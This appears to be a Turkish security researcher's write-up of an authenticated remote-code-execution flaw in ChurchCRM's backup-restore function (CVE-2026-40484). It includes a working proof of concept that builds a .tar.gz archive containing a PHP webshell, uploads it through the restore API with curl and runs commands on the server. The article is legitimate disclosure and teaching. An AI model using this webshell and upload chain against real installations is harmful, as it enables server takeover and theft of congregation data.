⚠️ Uyarı: Bu makale yalnızca eğitim amaçlıdır. Lütfen yalnızca izinli sistemler üzerinde test yapın.

Etkilenen SistemlerEtkiAçık Türü
ChurchCRMKritik 9.1Uzaktan Kod Çalıştırma

Giriş

Merhabalar herkese. Bu makalede, CVE-2026-40484 açığını ilk andan itibaren nasıl bulduğumu ve bu açığın MITRE veritabanında nasıl resmi olarak kaydedilip yayınlandığını sizlerle paylaşacağım.

İşe Başlangıç

En üst seviye Türk akreditasyonunu alabilmek için şartlardan biri, adıma kayıtlı en az bir CVE bulunması gerektiğidir. Bu yüzden, mümkün olan en kısa sürede bir CVE çıkarabileceğim sistemleri bulmak için bir araştırma yolculuğuna çıkmam gerekiyordu.

GitHub ‘a girdim ve geliştirme sürecinde güvenlik konusuna gerçekten önem veren projelere göz gezdirmeye başladım. Gözüm ChurchCRM adlı bir projeye takıldı.

Projede daha önce bulunmuş açıklara baktığımda, birisinin zaten bir Remote Code Execution açığı bildirdiğini gördüm. Ben bu projede kendi araştırmama başlamadan önce keşfedilmiş olan açığın bağlantısı şu:

https://github.com/ChurchCRM/CRM/security/advisories/GHSA-pqm7-g8px-9r77

Bu açık 17 Aralık 2025 tarihinde bildirilmiş.

Uzaktan Kod Çalıştırma Açığı

Her güvenlik araştırmacısının aklında tutması gereken önemli bir nokta var: kapatılmış açıklar aslında yeni açıkları keşfetmenin kapısını açabilir. Bu yüzden bu bölgeler odaklanılması gereken en önemli yerlerden biridir. “Burada zaten bir açık bulunmuş ve düzeltilmiş, başka bir şey çıkmaz” tuzağına düşmeyin. Bu tamamen yanlış bir düşüncedir. Aksine, bug avına çıkarken ilk bakmanız gereken yer tam olarak burası olmalı derim.

Buna dayanarak, bu fonksiyonu projede bulmaya çalışmaya ve olası açıklar için incelemeye başladım.

Bazı filtreleme komutlarıyla ve projenin klasör ve dosyalarını gezerek, içinde PHP ile yazılmış birkaç dosya bulunan bir backup klasörü buldum.

Backup Dosyaları

Bu dosyaları analiz edip içindeki fonksiyonları anladıktan sonra, yine Uzaktan Kod Çalıştırma‘ya yol açan bir açığa ulaşmayı başardım. Şimdi bu açığın detaylarını birlikte inceleyelim.

Açığın Detayları

ChurchCRM sürüm 7.1.1, veritabanı yedekleme geri yükleme fonksiyonunda kritik bir güvenlik açığı içeriyor. Bir yönetici geri yüklemek için bir yedekleme arşiv dosyasını (.tar.gz) yüklediğinde, uygulama arşivi çıkarıyor ve Images/ klasörünün içeriğini doğrudan web üzerinden erişilebilir olan doküman köküne kopyalıyor. Bu işlem için FileSystemUtils::recursiveCopyDirectory() fonksiyonunu kullanıyor.

Sorun şu ki, bu fonksiyon kopyalama işlemi sırasında dosya uzantıları üzerinde hiçbir filtreleme yapmıyor. Yani, Images/ klasörünün içine zararlı bir PHP betiği yerleştirilmiş kötü niyetli bir .tar.gz yedekleme arşivi hazırlayan bir saldırgan, uygulamanın bu dosyayı /Images/Person/ veya /Images/Family/ altındaki herkese açık bir yola yazmasını sağlayabiliyor. Dosya yazıldıktan sonra saldırgan, oluşturulan dosyaya HTTP istekleri göndererek web sunucusu sürecinin (www-data) yetkileriyle rastgele işletim sistemi komutları çalıştırabiliyor.

Konuyu daha iyi anlamak için açığın bulunduğu dosyayı analiz etmeye başlayalım.

Açığın Yeri

  • Dosya adı: RestoreJob.php
  • Açığın bulunduğu satır: 138
  • Yardımcı dosya: FileSystemUtils.php
  • Açığın bulunduğu fonksiyon: FileSystemUtils::recursiveCopyDirectory()

Dosya İncelemesi

RestoreJob.php Dosyasının İncelenmesi

RestoreJob.php dosyasının incelenmesi

Ne yaptığını anlamak için dosyayı satır satır ayıralım:

  • Satır 122: Log kaydına yedekleme geri yüklemeye başladığını yazıyor.
  • Satır 123: Yedekleme dosyasını (arşivi) açıyor.
  • Satır 126: Dosyaları çıkaracağı rastgele isimli geçici bir klasör yolu hazırlıyor.
  • Satır 127: Klasörü fiilen dosya sisteminde oluşturuyor.
  • Satır 130: Sıkıştırılmış dosyanın tüm içeriğini bu geçici klasörün içine boşaltıyor.
  • Satır 132: Çıkarılan dosyaların içindeki veritabanı dosyasının (SQL) konumunu tespit ediyor.
  • Satır 133: Veritabanı dosyasının gerçekten var olup olmadığını doğruluyor.
  • Satır 134: Yeni veri dosyasını sisteme yüklemeye başlıyor.
  • Satır 136: Aşağıdaki yolda bulunan eski resimlerin hepsini siliyor: SystemURLs::getDocumentRoot() . '/Images'
  • Satır 138: Resimleri geçici klasörden alıp sitenin nihai yoluna gönderiyor: SystemURLs::getImagesRoot()

Ve burada FileSystemUtils::recursiveCopyDirectory fonksiyonunu çağırıyor. Bu fonksiyon klasörü ve içindeki tüm dosya ve resimleri özyinelemeli (recursive) ve otomatik olarak kopyalama işini üstleniyor.

  • Satır 141: Eğer veri dosyası bulunamazsa, dosyanın eksik olduğunu belirten bir hata mesajı fırlatıyor.

Buraya kadar her şey yolunda. Klasörü oluşturduktan sonra kod, kopyalama işini yapmak için şu fonksiyonu kullandı:

FileSystemUtils::recursiveCopyDirectory

Bu fonksiyonu bulmaya çalıştığımda karşıma şu çıktı:

FileSystemUtils fonksiyonunun veya dosyasının bulunması

Gördüğünüz gibi, bu yolda bulunuyor.

FileSystemUtils.php Dosyasının İncelenmesi

FileSystemUtils.php dosyasının okunması

Fonksiyonu anlamak için kopyalama işlemini nasıl gerçekleştirdiğini görmemiz gerekiyor. 24. satıra gittiğimizde fonksiyonun kendisini buluyoruz ve çalışma mantığını şu şekilde analiz edebiliriz:

  • Satır 28: if (file_exists($dst)) Çakışmayı önlemek için hedef yolun sunucuda zaten var olup olmadığını kontrol ediyor.

  • Satır 29: self::recursiveRemoveDirectory($dst); Eğer bulursa, yeni kopya için yer hazırlamak amacıyla içindeki her şeyle birlikte tamamen siliyor.

  • Satır 31: if (is_dir($src)) Kaynak yolu inceliyor; bu bir klasör mü? (Eğer öyleyse içeriğini işlemeye başlıyor.)

  • Satır 32: mkdir($dst); Hedefte kaynak klasörle aynı isimde yeni bir klasör oluşturuyor.

  • Satır 33: $files = scandir($src); Klasörü açıyor ve içindeki tüm dosya ve dizinlerin isimlerini okuyor.

  • Satır 34: foreach ($files as $file) Bir önceki adımda bulunan her öğe üzerinde dönmek için bir döngü başlatıyor.

  • Satır 35: if ($file != '.' && $file != '..') Mevcut klasörü ve üst klasörü temsil eden teknik sembolleri görmezden geliyor. Böylece sonsuz bir döngüye girmenin önüne geçiliyor.

  • Satır 36: self::recursiveCopyDirectory("$src/$file", "$dst/$file"); Özyineleme (Recursion): Burada fonksiyon kendi kendisini çağırarak alt klasörlere girip aynı adımları tekrarlıyor.

  • Satır 39: } elseif (file_exists($src)) { Eğer yol bir klasör değilse, gerçekten var olan bir dosya olduğundan emin oluyor.

  • Satır 40: copy($src, $dst); Dosyayı kaynaktan hedefe olduğu gibi kopyalıyor.

Güvenlik Analizi

1. Kör Kopyalama İşlemi

Fonksiyon “ne kopyalıyorum?” diye sormuyor, sadece kopyalama komutunu yerine getiriyor. Dosyanın içeriği (MIME Type) üzerinde hiçbir kontrol yok; dosyanın gerçek bir resim mi yoksa kılık değiştirmiş bir kod parçası mı olduğuna dair hiçbir doğrulama da yapılmıyor.

2. Uzantı Kontrolünün Olmaması

Asıl felaket burada yatıyor; fonksiyon uzantısı ne olursa olsun her dosyayı kopyalıyor. Bir saldırgan, yedekleme dosyasının içine şuna benzer tehlikeli dosyalar tıkıştırabilir:

  • .php
  • .phtml
  • .phar
  • .php5

Fonksiyonun uzantılar için ne bir “kara liste” (Blacklist) ne de “beyaz liste” (Whitelist) bulunduğundan, bu dosyaları doğrudan sitenin canlı klasörüne taşıyacaktır.

Bir saldırgan olarak aklınıza ilk gelen şey, sistemi tamamen ele geçirmek için PHP uzantılı zararlı dosyalar yükleyebileceğiniz olur :)

Açığın İstismar Şartları

Fonksiyonları ve çalışma mantığını anladığımıza göre, artık bu açığı başarıyla istismar etmek için gereken şartları belirleyebiliriz:

1. Veritabanı dosyasının varlığı (ChurchCRM-Database.sql)

  • Sebep: Önceki kodda gördüğümüz gibi (satır 133 ve 141), sistem özellikle bu dosyanın varlığını kontrol ediyor.
  • Taktik: Kod bu dosyayı bulamazsa bir istisna (Exception) fırlatacak ve geri yükleme işlemi hemen duracaktır. Bu nedenle saldırgan, sistemi kandırıp çalışmaya devam etmesini sağlamak için bir SQL dosyası (boş ya da rastgele veri içeren bir dosya bile olsa) dahil etmek zorundadır.

2. Uzantı Kontrolünü Atlatmak (PHP Web Shell Injection)

  • Sebep: recursiveCopyDirectory fonksiyonu kör; her şeyi kopyalıyor.
  • Taktik: Saldırgan, sıkıştırılmış arşivdeki resimler klasörünün (/Images) içine bir shell.php dosyası yerleştiriyor. Fonksiyonun uzantılar için bir kara listesi olmadığından, shell dosyası açılacak ve sitenin canlı klasörüne yerleştirilecektir.

3. Canlı Yola Ulaşmak (Predictable Path)

  • Sebep: Saldırganın dosyasının nereye yerleştirildiğini bilmesi gerekiyor.
  • Taktik: Kodun dosyaları SystemURLs::getImagesRoot() konumuna kopyaladığını bildiğimizden, yol saldırgan için önceden bilinmektedir.

Ve bilmemiz gereken son bir şey var: bu fonksiyonu nasıl çağırabiliriz? Bunun için API’ler arasında bu fonksiyonu tetikleyebileceğimiz isteği aramamız gerekiyor.

Fonksiyonu çağırma yolunu bulma çabası

Buradan da anlaşılıyor ki, şu yolu kullanarak /api/database/restore bu fonksiyonu başarıyla çağırıp çalıştırabiliyoruz.

Etki

  • www-data kullanıcısının yetkileriyle keyfi işletim sistemi komutlarının çalıştırılması.
  • Sunucu ortamı içinde yatay hareket (Lateral Movement).
  • Kalıcı bir arka kapı; bırakılan shell dosyası uygulama yeniden başlatıldıktan sonra bile yerinde kalıyor.
  • CRM verilerinin gizliliği, bütünlüğü ve kullanılabilirliğinin tamamen ihlali.

Konsept Kanıtı (Proof of Concept)

Öncelikle, şunları içeren sıkıştırılmış bir dosya oluşturmamız gerekiyor:

  1. ChurchCRM-Database.sql
  2. /Images/Person/shell.php

Bunun için aşağıdaki kodu kullanabiliriz:

mkdir -p evil_backup/Images/Person
echo "SQL backup Test" > evil_backup_test/ChurchCRM-Database.sql

# PHP dilinde bir arka kapı oluşturma
echo '<?php system($_GET["cmd"]); ?>' > evil_backup_test/Images/Person/shell.php

# Dosyayı sıkıştırma
cd evil_backup
tar -czf /tmp/evil_restore_test.tar.gz ChurchCRM-Database.sql Images/

Dosya yapısı:

ChurchCRM-Database.sql
Images/
Images/Person/
Images/Person/shell.php      ← PHP webshell

İkinci olarak, API üzerinden yükleme:

curl -s \
  -b "CRM-SESSION=<session_cookie>" \
  "http://localhost/churchcrm/api/database/restore" \
  -X POST \
  -F "restoreFile=@/tmp/evil_restore_test.tar.gz;type=application/gzip"

Sunucunun cevabı şu şekilde olacak: HTTP 200

{
  "Messages": [
    "As part of the restore, external backups have been disabled..."
  ]
}

Bundan sonra, zararlı dosya aşağıdaki yola yüklenmiş olacak:

Images/Person/shell.php

Ve bu konuma bir istek göndermeye çalıştığımız anda, uzaktan kod çalıştırmayı başarıyla gerçekleştirebildiğimizi göreceğiz!

curl "http://localhost/churchcrm/Images/Person/shell.php?cmd=id"

Çıktı:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Görsellerle Konsept Kanıtı

1. Sıkıştırılmış dosyayı oluşturma:

Sıkıştırılmış dosyayı oluşturma

2. Dosyayı yükleme ve başarıyla yüklendiğini doğrulama:

Dosyayı yükleme ve başarıyla yüklendiğini doğrulama

3. id komutunun çalıştırılması:

id komutunun çalıştırılması

Açığın Kapatılması

Açığı kapatmak için tüm detaylar ve kodlar aşağıdaki commit içine eklendi:

https://github.com/ChurchCRM/CRM/commit/68be1d12bc4cc1429575ae797ef05efe47030d39

Kaynaklar